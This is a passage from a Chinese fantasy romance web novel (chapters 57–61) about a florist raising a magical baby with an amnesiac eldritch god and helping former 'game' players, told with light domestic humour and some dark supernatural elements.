徐染秋眸子里沁出些许暖意,他摇了摇头:“谢谢关心,住了几天院,我已经没事了。” 接着,他下定决心一般,向陶岫认认真真鞠了一躬,腰几乎要折到九十度,他道:“乔总说,多亏你及时赶到,我才得救……陶老板,真的谢谢你。” “如果你有什么需要帮忙的地方,请务必对我说。” 其实,不知为什么,他已经对那天发生的事情没有过于清晰的印象了,但是,他却总觉得,陶岫为他做得比乔总描述得还要更多…… 在这个人们关系快节奏而原子化的社会里,这样的善意是最珍贵而难以报答的,其实他有些手足无措地不知怎么去回报陶岫…… 陶岫一惊,连忙把人扶起来:“没关系的,我给乔氏供花的时候也是一直在麻烦你呀。” 他本来想说,朋友之间也不必计较这么多,只是看着徐秘书此时的神情,话到嘴边却改了主意。 陶岫歪了头,面上笑意纯净又璀璨:“我确实遇到了点难事想请你帮忙。” 徐秘书忙道:“你说。” 陶岫:“你周末的时候一般有什么事情吗?” 徐染秋一怔,摇了摇头:“除了必要的应酬和朋友之间的交往,我都是在家休息。”他是个孤儿,本来就没有太多社交关系。 陶岫:“那你方便抽一天时间过来这里帮忙吗?帮我引导一下客人就好,周末人流量大,我有时会忙不过来。” “我本来定好了一个员工,但他现在大概率在处自己的事情,暂时无法入职。” “你能过来的话,就真的帮了我很大的忙。” 徐染秋怔怔看着陶岫:为什么世界上会有这样的人……连他在尽量掩饰的不想亏欠的心情都能照顾得温柔…… 徐染秋终于释然地笑开,他朝陶岫伸出手,道:“我当然愿意。不管是作为临时员工,还是作为朋友,我都非常乐意来到这里帮忙。” “老板,以后请多指教。” 陶岫利落地握住了那只手,他弯了眼眸:“请多指教。” …… 徐染秋离开后,陶岫看了下表:刚好到了要喂陶星星奶粉的时间。他便干脆把种草莓苗的事情安排到下午。 他很快下楼回到办公室,换下工作服洗干净手后,他推开了里面的婴儿室的门。 踏进去第一步后他蓦然睁大了眼睛: 只见房子中心位置原本空荡荡的地毯上,立着一个可爱的积木小房子。 那是个很可爱的房子,里面有不少间屋子,每间屋子里有一盏用星星形状糖果做的灯,外头甚至带了一个小庭院。 陶星星已经学会半坐起来,他正坐在小八旁边,伸着小短胳膊把变出的一捧可爱小花递给小八,要她帮忙把它们放进庭院里摆出可爱的形状。 陶星星的手边还放着一张印满星星的可爱手账纸,上面有他用印泥认认真真印下的小小手印,小八似乎还在上面写了什么字。 …… 回过神来陶岫上前一把把陶星星抱起来,眉梢满是温柔的笑意:“你们怎么想起用积木搭房子啦?” 小八把小花放进庭院里,才开心地看向青年:“是小星星送给小陶哥哥的礼物哦~都是小星星搭的,我只是帮忙放了花花写了字~” 说着她举起地上那张可爱的纸片,上面写着“给妈咪的秘密基地”四个字,字的旁边是陶星星的小手印,意思是他的签名。 陶岫一怔,失笑道:“送我的?” 陶星星已经开心地伸出短短的胳膊抱住了陶岫的脖颈,他眨巴着亮晶晶的大眼睛歪了头看着青年,“啪叽”一口亲在对方的脸颊上。 陶岫觉得自己的心都化了,他点了点小朋友的鼻尖,问道:“怎么想起送我……嗯,秘密基地?” 一道稚嫩的意识甜而轻盈地在陶岫脑海中绽开:“妈咪送了星星秘密基地,星星也要送妈咪~” “星星刚刚看到、未来爸爸会惹妈咪生气~妈咪不想爸爸的时候,就可以带星星躲进去哦~” “有妈咪和星星的房间,有小八姐姐和厨子哥哥的房间~” “星星还做了小锁子,爸爸和狗狗、都进不来哦~” 陶岫沉默半晌,终于没忍住笑出声:“.…噗嗤” 爸爸和狗不许入内什么的……真想看看霍斯听到这句话的表情。 …… 分离完今天需要分离的空间此时正在某个地方粗暴地吞噬身体部位的某人(?):“……阿嚏” 第58章 陶星星喝完奶粉就睡着了,陶岫将他安置好,正要再看着他睡一会儿,有人敲响了外面办公室的玻璃窗。他将陶星星拜托给小八,自己放轻动作起身向外走去。 办公室的玻璃窗外,站着周河和一个缩头缩脑抱着双肩包的年轻人。 陶岫一怔,打开门走了出去。 周河朝他一笑:“又见面了,陶岫。” 陶岫眨了下眼:“有什么事吗?” 周河指了下自己身后战战兢兢的年轻人:“是他找你有事。” 陶岫:“?”这人好像是……张乐?他应该是和林枚一批来现实世界攻略他的玩家。 他和张乐唯一的交集就是对方跟踪过他来着,然后他把人送进了派出所,再之后,他成了特别行动局安排进游戏的线人。 他能找自己什么事? 陶岫虽然对有过入室行窃前科又跟踪过自己的人没什么好感,但看在周河的面上,还是礼貌地朝对方打了招呼:“你好?” 张乐深吸一口气大步来到陶岫面前,深深朝对方鞠了一躬,大声道:“大哥当初跟踪你真的对不起能不能请你救救我啊!我愿意认您为我唯一的大哥我什么都愿意为您做!只要您救我我上刀山下火海二话不说!” 陶岫:“.…?”他怎么听不懂对方在说什么? 只是公共场合对方的行为实在太让人尴尬了,已经有顾客悄悄往这里看了。 陶岫摸了摸鼻尖,有点无奈地道:“总之,办公室不是很方便请你们进来,你们先跟我来休息角。声音也请小声些,不然会影响客人。”说罢便往一个方向走去。 张乐正要再分辨什么,周河一把抓住了对方的后领,凉凉道:“请人帮忙就要有请人帮忙的态度。”说着便轻轻轻松拽着他跟上了陶岫。 到了休息角,张乐抱着手里的包怂怂地坐在一边,周河替他开了口,道:“你知道的,这家伙的能力是【意识探取】,我们那边收的玩家每周都要接受一次,包括林枚。” “这家伙从林枚的意识中得知你帮他摆脱了手环的控制,所以想请你帮忙。” “当然,陶岫,帮与不帮都出于你自己的意志,我们会尊重你。” 陶岫认真思索一瞬,问道:“他的罪行过追溯期了么?” 周河一怔,摇了摇头。 陶岫这才温和地道:“那我可以帮他。” 周河轻笑一声,道:“很符合我对你的解——不过,不是现在,他现在要继续作为线人进出游戏帮助我们获取信息,等到一切结束,我会再带他来找你。再之后,他会接受法律的制裁。” 陶岫:“好。”顿了下,他突然想起不久前离去的徐染秋,他问道;“我能问下从徐染秋家里带走的那个玩家的现状吗?” 那个玩家当年伙同同伙,入室抢劫害死了徐染秋的父母。 周河倒也没有隐瞒,道:“我们利用张乐从他那里获得的信息是,当年那间监舍失踪的重刑犯大部分都是副本开荒者,都在里面死状很惨,存活到最后的只有他一个。现在,他因为每天都陷入极度恐惧里,自己拼命折磨自己,也离死不远了。” 陶岫点了点头,面上看不出什么神情。 周河倒是并未在意,他肘了肘在一旁瑟瑟缩缩的张乐,道:“你不是有东西要给陶岫吗?拿出来吧。” 张乐忙将手里的背包递给青年,道:“这、这是我在大厅捡到的!我知道最近住在希望酒店里的副本核心一直在进出玩家大厅狩猎这些!我觉得可能有用就偷偷包起来给你带来了!”虽然不知道那两个核心拿这些做什么,但毕竟陶岫也是【E】级副本核心啊,说不定会喜欢这些呢! 他要多在陶岫面前刷好感度,才能像林枚一样早点得救! 陶岫一怔:一筒一万收集的东西……应该是霍斯要他们收集的。 他思索一瞬,打开了包,接着瞳孔一缩:包里有十几个手指大小的透明玻璃瓶子,每一个瓶子里都装着……长着白色皮肤的黑色碎肉。 张乐:“最近大厅非常不稳定嘛,那两个核心最近一个月经常大摇大摆地进去搞破坏,然后带走几块屏幕或者挖走几块肉做成的墙壁……”而在玩家眼中几乎无所不能的主系统竟然对这种入侵束手无策。 他们玩家很早就知道那个银白的大厅不对劲,尤其是墙壁,完全是软的,摸不出什么质感,就像……它是活的一样。但他们一直不知道、或者不敢想那到底是什么。 直到那两个核心进去大肆破坏,不久前还从墙壁里挖出一颗人头带走,他们才知道……大厅真的是活的…… 那些黑色的洞每次都会有密密麻麻的虫子填上修补好,但最近已经越来越力不从心了,所以他才有机会从黑洞偷走一些碎肉来讨好陶岫。 陶岫看了半晌,才利落地收好,他先是对周河道:“你们没碰这些吧?” 周河一笑:“我们局没那么没人性也没那么傻。” 这些东西和那些手环不同,可是从最核心的玩家大厅带出来的,蒋周虽然严苛,但也不会拿手下的命去换取信息。 因为这些对他们基本无用,又是那位霍斯大人一直在收集的,他们才任由张乐把这些交给陶岫。就当是卖那位大人一个人情。 陶岫这才放下心来,他看向张乐:“我收下了,多谢。” 张乐这才彻底松了一口气,看到那些碎肉竟然真的被核心收下了,想到什么他眼珠子一转,小心翼翼对陶岫道:“那、那什么,现在大厅多,连主系统对我们的控制其实都放松不少。”比如主系统逼他们进副本的频率都变少了。 “我、我其实能说服不少玩家去偷这些碎肉的,都可以给大哥您带回来,您看您之后也能帮他们搞掉脑子里的东西吗?” 周河一听,挑了眉道:“你还挺讲义气?” 张乐倒是很坦率,他嘟囔道:“当然不是白帮他们,他们得给我牵线的中介费,我也不黑,每人收个三百块。我、我那时偷的钱不多也不少,离开游戏之后要坐几年牢的嘛,我总要为自己坐牢出来的日子想想啊,我帮那些玩家牵完线,他们给我点钱也是应该的啊 ,没有就打借条。这样我坐牢出来后至少有点钱过日子啊……” 周河说了句“你脑子还挺活”,接着看向陶岫,他若有所思道:“霍斯先生收集这些,是和那份协议有关系吗?” 陶岫耸耸肩,坦然道:“他没告诉我,但我想是的。”这应该就是霍斯解决【游戏】的麻烦用到的必须之物。 周河:“那你想答应他的交易吗?” 陶岫弯了眼眸笑了:“为什么不呢?”虽然不好说这些碎肉能帮到霍斯什么程度,但,能早点结束那些虫子对这个世界的伤害就是好事。 他要付出的代价只是透支下自己而已,非常划算。 周河感慨地轻拍了下陶岫的肩,才对张乐道:“你可以做这件事。后面我会负责带你把那些东西交给陶先生。” 张乐连忙点点头。 周河这才示意他现在离开这里到外面车上等,张乐很听话地起身离开了。 等到张乐走后,周河才对陶岫道:“我这次来,还想和你同步下成杨父子的信息。” 陶岫:“你说。” 周河:“我们先查了成运,他和【游戏】关系不大,但他公司问题很大,触犯法律,我们已经将他移交给有关部门了。” “至于成杨,我们对他做过身体检查,可以确认,他是人类,并不是玩家。他公司成立的过程非常违和,但确实查不出什么问题。关于【游戏】,我们审问他时,他自己的说法是从一个神秘人那里得知。他的产品一直在向那个神秘人提供数据,但我们也查不到那个神秘人的任何信息,成杨被捕后也再也联系不到他。” “从神秘人那里得知零星【游戏】相关信息后,他把一个因为七天时间到了死在外面的玩家尸体偷回了家,想要做人体实验得到力量,他本来已经打算向家里的阿姨保安下手了,所幸我们去的及时,他们都没事。” 一直在认真听着的陶岫闻言松了口气:“那就好。”没有更多普通人卷进去,真的太好了…… “不过,”说到这周河眉头微微皱起来,百思不得其解地道:“倒是成运的那个司机,有点奇怪。他学计算机的,本科研究所博士读的全是名校,大大小小的奖项和经历让人眼花缭乱,这样的人竟然会去给成运那种人当司机?” 陶岫立刻想到从霍斯那里得到的信息:虫子用并不完备的能力交换了成杨和那个司机的人生……那也是个很无辜不幸的人…… 只是,虫子和方子青当初用了【抹除】的能力抹除了方子青和那家生物医药公司的存在,就算他对周河他们说了这件事,说不定也无济于事:【抹除】之物的意思是不存在,在这个世界不存在,在人们的记忆里也不存在,人怎么可能记住这样一种事物呢? 但虫子的力量总是有缺陷,大概率会留下什么蛛丝马迹…… 想到这,陶岫看向周河,苍绿的眼眸坚定而澄澈:“你们可以去查【方子青】吗?” 周河一怔,疑惑地问道:“什么?” 陶岫:“你们或许该去查所有叫【方子青】的人。” 虽然和虫子狼狈为奸的方子青“不存在”,但这个世界上同名的人太多了,查得多了,总会发现消失的那个【方子青】因为虫子能力缺陷留下的线索。 周河思索一瞬,立刻起身:“我这就去向上司反馈信息。陶岫,多谢你。” 陶岫弯了眼眸:“不客气。我该做的。” 周河朝他笑笑,大步离开了植物园。 …… 陶岫把那个装了瓶子的背包小心地安置在办公室的保险柜里,净过手后才进了那间休息室改造成的婴儿房。 陶星星在小帐篷里吮着小小的手指,睡得很香,小八坐在帐篷外一边看着陶星星睡觉,一边翻一本绘本。 陶岫放轻动作在帐篷边坐下来,他温柔地看向小八,轻声道:“谢谢你哦,这两天一直麻烦你和竺了。” “等霍斯稍微闲下来,我会让他来帮忙。” 小八甜甜笑了:“我们很喜欢小陶哥哥和小星星。而且,”说着她看向帐篷里的婴儿:“小星星真的好乖呀。” 陶岫也随着女孩儿的视线看向裹着小毯子睡得香甜的陶星星,苍绿的眸子里满是柔软:“啊。”他的小朋友真的好可爱好乖呀…… 二楼的草莓苗插好后,剩下的时间他都可以用来陪小朋友…… …… 陶星星一觉醒来已经夕阳西下,朦朦胧胧睁开那双大眼睛时,他湛红的瞳仁里便映入了青年温柔的笑脸。 陶星星立刻甜甜的笑了,朝陶岫伸出两只短短的小胳膊。 陶岫立刻稳稳地把他抱起来,弯了眼眸道:“我们下班回家了哦~” 陶星星咿咿呀呀吐着泡泡:和妈咪一起肥家! 陶岫被逗得笑意更甚,他单肩背着那个书包,另一只手稳稳抱着陶星星,带着小八打车回到了家。 …… 温馨的家里,竺已经准备好了香喷喷的饭菜,甚至买了一束花插在桌上的花瓶里。 小八去帮竺端那些饭菜,陶岫便抱着陶星星去杂物间里的婴儿车,他打算先喂好陶星星再吃晚饭。 那间卧室静悄悄的,依旧浸在那种奇异的冷香里,陶岫把小婴儿轻轻放进婴儿车里,接着便开始冲奶粉。 陶星星朝他笑着,稚嫩轻盈的意识不断在他脑海里甜甜又依恋地叫着“妈咪”,陶岫温柔地安抚着对方:“我在。马上就可以吃饭饭啦。” 正在这时,这间卧室本来的门被人从外面打开,高大俊美的男人踏了进来,陶岫再自然不过地看向他:“回来了?我给你带了东西哦。” 男人却像之前几次一样停在门边,冰冷又傲慢地看过来,他的声音富有磁性而冷漠:“你是新来的男仆?有什么胆子私自进入我的房间?” 陶岫一怔,眨了下眼:又来? 可能因为次数有点多了,他现在对此已经无感。他从床头捞起一个魔方,熟练利落地丢过去,挑了眉道:“先冷静十分钟?” 霍斯震惊地看着手里的廉价玩意儿:“大胆,你竟敢——” 只是话音未落,他自己的手竟然就自动动了起来——就好像,他已经这么做了很多次! 该死的,这个男仆难道对他使用能力了吗? 但怎么可能!没有谁的能力会对他起效! 明明很生气,霍斯拼魔方时却下意识非常认真。 陶岫看着男人抽抽嘴角,干脆不再会他,他把陶星星抱起来喂冲好的奶粉。 陶星星吃得很香,一边分出视线看那个鱼唇的爸爸:爸爸、坏,不记得妈咪真的太过分了! 陶岫倒是不知道小婴儿的想法,他只是动作温柔地继续喂他吃东西。 …… 十分钟后,一只根骨分明的大手伸到他面前,宽阔的掌心里是一个已经拼好的魔方。 陶岫看着那个魔方,眨了眨眼。 下一瞬,男人低沉傲慢的声音在他头顶响了起来,他命令一般道:“现在,可以告诉我你是谁了么?” 陶岫抱着陶星星瞳孔一缩:“.…?” 第59章 沉默半晌,陶岫回过神来,他并未会男人手里的魔方,只是先将陶星星安置好,接着伸手贴上男人的额头,有些担忧地问道:“身体没事吧?有什么地方难受吗?” 是这次吞噬身体部位出什么问题了么? 霍斯瞳孔一缩:这个仆人竟敢碰他! 这个世界上没有人有资格直接触碰他! 他猩红的瞳仁冰冷又惊疑不定,他本该立刻把这个失礼的仆人的手狠狠拂下去。 可是,那只白皙柔软的手的触感如此清晰,他的身体就像被蛊惑了一般,根本无法动作。 尤其是对上那双苍绿色的眼睛时,他的心脏会不受控地“砰砰”过速跳动起来…… 直到最后,他也只能盯着那双眼睛用力握住了那个魔方,色厉内荏地憋出一句:“仆人,我命令你不许碰我。现在立刻离开我的房间。” 陶岫闻言一怔,回过神来他眯了眯眸子,利落地放下手,挑了眉道:“看来身体是没问题了。” 霍斯几乎不受控地接话:“我——” 陶岫却已经去翻床头柜自带的抽屉,他很快从里面找到一份合同,怼到了霍斯面前。 那是霍斯和特别行动局签下的合同。 陶岫指着合同最末尾的签字和手印:“认得出来吧,这是你签下的哦,即使你暂时不记得了,也要继续履行合约。” 说罢他“啪”地一声把合同拍在床上,接着放轻动作抱起陶星星,和霍斯擦肩而过,大步走向门外。 霍斯的心脏蓦然涌起一种慌乱的钝痛,他的手臂不自觉地抬起,就要覆上青年的肩头,陶岫却抽抽嘴角一把拍开,他转身凉凉看向惊疑不定的俊美男人,微微一笑:“既然不想我们在,那你就自己住吧。” 话落后,他便头也不回地离开了房间,毫不留情地甩上了门。 霍斯瞳孔一缩,整个人一动不动地僵在那里,他的大脑中一片激烈的混乱,几条深蓝的触手自他的脊椎处破出,痴迷地追着青年的气味向门的方向探去。 正在这时,门再次被打开,深蓝的触手动作一顿,就见陶岫利落地把一个背包丢了进来,美丽的苍绿眼睛瞪得像猫眼一样圆,他话里难得带着刺:“你履约需要的东西,伟大的邪神大人。不要忘了明天还有工作。” 说罢“啪”地一声,再次合上了门。 霍斯:“……”这个仆人如此没有礼貌,他明明应该惩罚他并辞退他,但…… 为什么他会觉得青年这样的时刻珍贵而……无比可爱…… 还有那个孩子……为什么他也感到无比亲切…… 心脏几乎全都被那个青年和那个孩子填满,霍斯头疼地捏了捏眉心,接着拿起刚刚被青年丢下的纸质合同——即使对此毫无兴趣,他也在不自觉地遵循青年的命令. 刚刚的背包被丢进来还未落地已经被一条触手使用力量转移到书房——霍斯从来不喜欢任何外来的存在进入自己的卧室。 霍斯不耐地审视着手里那份合同,视线注视那个签名和手印的一瞬,他便立刻知晓了这份合同的内容——他知道自己的身体此时有些混乱,还没消化完那些身体和身体部位携带的无比浩瀚的意识,但是,他无法想象到底出于什么由,他才会签下这样一份对他来说无比麻烦的合同。 要知道,他最讨厌的就是那些不能直接用力量的麻烦的修补工作,现在他竟然允诺了那些蚂蚁一份比修补更加麻烦的手动分离工作? 既然给出了允诺,他就会履行。即使,只是想象了一下工作内容他都想立刻撕掉这份讨厌的合同。 混乱前的他脑子被那些愚蠢的身体部位啃了? 他抽抽嘴角,把那些正悄咪咪试着离开他探往门的方向的愚蠢触手狠狠塞进身体,接着大步走向书房——不止身体,他连意识都在被青年束缚! 青年只是说了句“不要忘了明天还有工作”,他现在就得去书房做空间分离剂! 那个特别没有礼貌的仆人到底给他施了什么魔法?! …… 此时的客厅,陶岫和小八、竺一起吃完晚饭后便去洗漱。 洗漱完成后,他拿出了备用的褥子和被子,在客厅铺了厚实暄软的地铺,小八和竺互相看了一眼:“?” 霍斯大人又做错事了吗? 陶岫倒是没有提霍斯的事情,他只是穿着舒适的睡衣坐在床铺上,把陶星星抱在怀里,弯了眼眸看他们:“今天要来个地铺之夜吗?” 现在还是冬天,窗外温度已经降到了零下,黑暗的夜色里到处都是寒风呼啸的声音。 但屋子里开了地暖,明亮温馨又暖和,因为餐桌上摆了鲜花和水果,房间里到处弥漫着好闻的香气。 这样的氛围分外想和亲人朋友在一起,也分外让人眷恋。 陶岫想,可惜那三只狗狗都离开那间卧室不知去哪里玩了,不然它们也可以参与进来。 小八和竺闻言眼睛立刻亮了起来,他们立刻把犯错的上司甩到了九霄云外,异口同声地道了声“好!”后,便各自去主卧的柜子搬自己的床铺。 这个年龄的小婴儿需要充足的睡眠,陶星星其实已经有点困了,却还是眷恋地偎依在陶岫怀里朝他吐泡泡。 一道稚嫩的意识在陶岫脑海中绽开:“妈咪、生爸爸气了吗?没关系,星星会陪着妈咪~” 陶岫心里软软,他眨了下眼,温柔地看着怀里可爱的婴儿,道:“也算不上生气。”毕竟,霍斯自己也不想发生这种意外。 如果非要说生气的点的话应该在于:霍斯之前告诉过他,一次性吞掉大部分身体部位,才会出现更长时间的错乱和卡壳。霍斯明明知道这一点,为什么还要这么做让他担心呢? 但是……他也明白,有时候意外就是不可避免啊,也不能怪霍斯。 所以,他就一点都不生气啦。 只不过听到霍斯那些话时,还是有些不习惯,所以就决定今晚干脆在外面住。 陶岫轻轻点了下陶星星稚嫩的小鼻子,弯了眼眸温柔又坚定地道:“放心吧小星星,我们不会有事的。” 陶星星笑得甜甜的,“吧唧”一口亲在了青年脸上。 …… 这时,小八与竺已经风风火火抱着自己的被子出来了,他们分别把床铺铺在了陶岫两侧,接着舒舒服服躺了进去。 窗外依旧寒风呼啸,房间里更加暖和温馨,大灯很快关掉,只亮了两盏温馨的小夜灯。 陶星星偎依在陶岫的怀里,他有些兴奋地眨巴着大眼睛看着天花板上轻盈的光影,从棉被中伸出小小的手向着那些光影比划,就好像在经历冒险之夜。 陶岫知道他白天睡得多,现在又没那么晚,便随他去了。 小八也有些激动地道:“好像在露营呀。”只不过电视剧里大家露营时都在帐篷睡觉唉。 陶岫:“还没带你们去露营过,等春天来了,我们一起去这边的森林公园露营吧,晚上可以看星星哦。”顿了下,他笑着道:“或者也可以去另一个世界,说实话,我对那里还一点都不熟悉。” 小八:“好~” 竺:“老板,你和老大还好吧?” 陶岫:“让你们担心啦。没事的。”霍斯总会想起来。 竺这才放下心来:“那我明天给你们做我学来的新菜!啊以后等那些家伙都醒了,我不做管家可以去开家饭店,为他们提供人类世界的饭菜,一定能赚不少钱!” 陶岫笑了下:“不错的想法哦。” 小八本想问,小陶哥哥更想在哪边的世界生活呢,只是看到天花板的一瞬,她的眼睛蓦然亮了起来,惊喜地指着天花板的拐角处道:“你们看,那里有小鱼唉!” 陶岫一怔,向那里看去:只见那些轻盈的光影此时已经化作了一条条可爱的小鱼,它们仿佛有生命般,在天花板和墙壁上四处游移,从墙壁掉落下来时,便化作了光做成的六角形雪花,轻盈地消逝在半空中。 整个场景美丽得不可思议。 陶岫似有所觉地向怀里看去,果然看到陶星星可爱的小手正对着那些光比划…… 一道轻盈稚嫩的意识在三人的脑海中响起:“冬天哒礼物~” 小八和竺:“哇……” 陶岫哑然失笑,他抱紧陶星星,幸福地闭上了眼睛:“你好棒啊,小星星。” … 无数光影做成的雪花与小鱼中,他们缓缓闭上了眼睛,进入了令人安心的梦眠…… … 第二天,睡得很好的陶岫准时睁开了眼睛,他先是查看了下小婴儿:陶星星在他怀里睡得安心又香甜,连绵软的脸蛋都红扑扑的。 两边的小八和竺也还在睡梦中。 陶岫放轻动作小心翼翼地抽开自己的手半坐起来,正要把小朋友抱进婴儿车再先去洗漱,那间杂物间的门却在此时“咔嚓”一声打开。 馥郁奇异的冷香霎时间盈满了整个屋子。 高大俊美的男人气势十足地踏了出来,臂间挽着一件昂贵的西装。 他站在门前,不满地扫了眼小八和竺,接着傲慢地俯视着陶岫:“仆人,我不允许你和这些家伙混在一起。” 陶岫一脸莫名其妙:“.…哈?” 霍斯猩红的眼珠里满是连自己不清楚的占有欲,错乱状态下只用本能说话:“我昨天已经完成了工作,今天也会继续工作。所以你——” 陶岫干脆抱臂看向他,眸子里带着点温柔的调笑:“所以我什么?” 霍斯看了眼自己臂间的西装,智像被拽回来一点点,他盯着他,命令道:“所以你现在应该履行你的职责,为我穿衣。” 陶岫:“.…” 第60章 陶岫一脸无语,他动作轻柔地抱起陶星星,将他安置在霍斯身边的移动婴儿车里,接着他舒展了下身体,边往洗手间走边吐槽道:“成年人了,自己的衣服自己穿。” 霍斯不可置信地瞪大眼睛:这个仆人竟然敢—— 陶岫走到洗手间门口转过身:“对了,你看着点小星星哦,等我出来再去工作。” 霍斯冷声道:“你到底知不知道你的身份——” 话音未落,他瞳孔一缩:有什么柔软稚嫩的东西拉住了他的手指。他蓦地向下看去: 离开陶岫怀抱的小婴儿已经睁开了惺忪的睡眼看向霍斯,他伸出小手牵住了男人的食指。 一道轻盈稚嫩的意识在霍斯的脑海中绽开:“不要、惹妈咪生气,不然、星星就不喜欢你了。” 霍斯身体一僵,他看着那个可爱柔软的婴儿,微微皱了眉,问道:“你是他的孩子?” 陶星星歪了头,乖巧地眨巴着大眼睛,咿咿呀呀吐出一个泡泡:是吖,他当然是妈咪的孩子~ 霍斯觉得自己应该生气:只属于他的仆人怎么可以有别人的孩子。 但是不知为何,他根本无法讨厌眼前的婴儿,甚至…….对这个孩子产生了不可自控的保护欲…… 这到底怎么回事? 婴儿车里的陶星星这时已经朝霍斯伸出了两只小短胳膊要抱抱。 霍斯最讨厌肢体接触和柔软脆弱的事物,他现在明明应该打个响指把这个麻烦又脆弱的婴儿变到自己看不到的地方,但是,他却不受控地俯身,将陶星星稳稳抱进了怀里。 反应过来自己做了什么,俊美的男人冷着脸,和怀里的孩子大眼瞪小眼,被陶岫把孩子天性保护得非常好的陶星星有恃无恐地朝霍斯的脸伸出了白嫩的小手。 半晌,霍斯忍无可忍地命令:“把你的爪子拿下去。” 陶星星从来没被这么凶过,他可爱的小脸儿就要失落地垮下去—— 霍斯抽抽嘴角,吐出句:“继续捏,也不是不行。” 陶星星脸上的失落一扫而空,红眼睛重新亮起来,继续和有趣的失忆爸爸互动着,得寸进尺地去抓霍斯的头发。 霍斯:“.…” 悄悄醒来看了全程的竺和小八在这种修罗场里继续装睡。 …… 陶岫很快洗漱好出来,看到霍斯时噗嗤笑出了声:高大俊美的男人此时怀里抱着一个可爱的婴儿,看起来还挺搭。 只是男人的黑发被陶星星用玩偶的绑带扎了个小揪揪,那条绑带甚至还打了个蝴蝶结。 霍斯脸黑得彻底,却还是站在原地抱着陶星星任由对方动作。 一看到陶岫出来,陶星星便立刻放下了“玩具”,朝陶岫无比依恋地伸出胳膊,想让他抱。 陶岫因着眼前一幕眉眼里满是笑意,他看了一会儿,才上前几步把陶星星接了过来,边道:“你去工作吧,我们等下打车去上班。” 他已经把考驾照和买车提上日程,有了小朋友之后,还是有辆车比较方便。 霍斯只是专注地注视着青年和他怀里的孩子,半晌,他眉目间氤氲出一缕冷意,问道:“让你有孩子又抛弃你们的那个混蛋男人,是谁?” 因为被抛弃了,才来做他的仆人么? 既然做了他的仆人,那么他也可以帮他养孩子,而且他至少可以帮他们把那个混蛋男人给杀—— 立刻想象到对方在脑补什么的陶岫:“噗嗤” 他抱着陶星星,一脸好笑地看着霍斯,道:“对啊,那个混蛋男人是谁呢?” “不过其实他也不算太混蛋。”陶岫苍绿的眼珠直视着霍斯冰冷可怖的猩红瞳仁,认真又轻描淡写道:“我很爱他。” 霍斯瞳孔猛然微缩,心脏不受控地剧烈跳动起来。 陶岫却只扫了眼已经醒了却不得不装睡的竺和小八,有点无奈地对霍斯道:“拜托你快去工作吧。”不走的话,小八和竺根本不敢起床。 他们今天还有各自的工作要做的! 霍斯抿着唇看着这个执迷不悟地爱着渣男的漂亮青年半晌,才生气地拎着昂贵的西装外套大步离去——甚至连瞬移都忘记使 用。 陶岫看着男人的身影无奈地抽抽嘴角:真想知道霍斯恢复记忆后想起这一段的表情。 60-67 第61章 霍斯离开后,陶岫很快打好自己,带着小八和陶星星去上班。 他照常把陶星星和小八安置在婴儿房,接着便去忙日常工作。 下午,他在二楼看到了坐在二楼角落休息椅上的林枚。林枚的身边坐着一个面色红润满脸皱纹的老奶奶,林枚正将一瓶打开的水递给她。 看到老奶奶的一瞬,陶岫怔了下,接着他走了过去,在林枚身边坐下。 他再次隐晦地观察了下那位老人,才看向林枚,温和地道:“这就是你母亲吗?” 林枚愣了下,才道:“对,是我妈妈。”顿了下,他有些腼腆地笑了下:“特别行动局那边说,我可以在一定范围内自由行动,所以,我想把她接到A市带她检查下身体,顺便逛逛。” 陶岫帮他摆脱了虫子的控制,他得到了一段让他手足无措又茫然的自由时光,未来好像也变得不确定起来,却隐隐闪耀着光点。 于是他终于鼓起勇气去老家见了妈妈,那枚手环曾经和他融为一体过,他注定无法像普通人一样组成家庭正常生活,但是,在母亲还在的时候,他至少可以像个正常的子女一样陪伴她。 医院的检查结果依旧令人失望,显示是某种癌症的晚期,按说无法治愈,但是,因为他和系统的交换,从外表看,他妈妈现在身体和面色都很好,不必遭受病痛和化疗的折磨,她可以正常进食,还能像个正常人一样生活。 只不过,她有了一些阿兹海默症的倾向,偶尔会记忆错乱。但也没关系,之后他会一直在她身边。 老人这时喝完了半瓶水,她迟钝地把瓶子重新拧好,和蔼地看向陶岫,空洞的眼神里浮出点光来,她道:“孩子,你是小枚的同学吗?离开老家到外地上学,一定很想父母吧?” 陶岫瞳孔一缩,林枚温柔地揽着老人,有点不好意思地对陶岫道:“我妈她大部分时候清醒,但偶尔会认为我刚刚读大学,父亲去出差了。” 坐牢之前,他把那笔钱分成了两份,一份留给了母亲,一份留给了信得过的亲戚,这些年一直是在亲戚照应母亲,所幸他们人很靠得住,将母亲照顾得很好。 陶岫吞下了本想说出口的话,他弯了眼眸,温柔地道:“对,我就是林枚的同学。虽然我父母不在身边,但是看到您过来来看林枚我也很开心。祝阿姨在A市逛得开心。” 老人笑着“哎”了一声,面上便再次浮出某种游离发呆的神情。 陶岫看向林枚,轻声道:“你决定好要来这边工作了吗?” 林枚一怔,郑重地点了点头。 陶岫:“那么,我会尽快拟定好合同,再给你预支半年工资。你可以在附近租好房子,把你母亲接到身边照顾。随时欢迎你来入职。” 林枚垂眸笑了下,眼眶便有些泛红,他看向陶岫,道:“我知道了。多谢。” 陶岫拍拍他的肩:“我先去忙别的,你们随便参观,有什么事情可以随时来找我。” 说罢便起身离开了。 …… 一直回到办公室,陶岫才轻轻叹了口气,他靠在椅背上,看着窗外冬季的天空难得怔怔地发呆: 林枚的妈妈已经不算一个活着的人了,却也不算一个死去的人。 他之前就知道,虫子的力量是有缺陷的,之前周河带着林枚来家里找他,林枚说起母亲的事情,他就有些担心。 今天见到那位女士,这种担心终于变成了现实:虫子的能力并未真正治愈那位女士的疾病,它只是让她长期保持在濒临死亡前的回光返照状态,所以她现在的身体机能保持了正常。但是,他不知道虫子的力量能让老人这种状态保持多久…… 他不想对林枚说这件事,因为对林枚来说,付出那么多代价几乎搭上整个人生得到的是这样的结果也太过残忍。而且对那位老人来说,这确实算是一种没有任何痛苦的活下来的方式,在虫子的力量失效前,她和林枚还可以团聚很多年。 陶岫仰躺在椅背上,闭着眼轻轻捏了捏眉心:可是林枚那样信任他,他却隐瞒这些,真的不是一种自以为是的傲慢吗? 正在这时,一双冰凉的手覆上了他的眼睛,奇异馥郁的冷香瞬间盈满了整方空间,接着一道冰冷低沉的声音高高在上地响了起来:“你是我的仆人,只能为了我的事情烦恼。不可以想别人。” 陶岫一怔,蓦然睁开了眼睛。 青年纤长浓密的眼睫蹭到了男人的掌心,痒痒的,有种莫名的蛊惑感,霍斯猩红的眼眸一深。 陶岫并未将对方的手推开,只是无奈地道:“你早上不是还在生我气吗?为什么会突然过来?” “话说你今天的工作已经忙完了?” 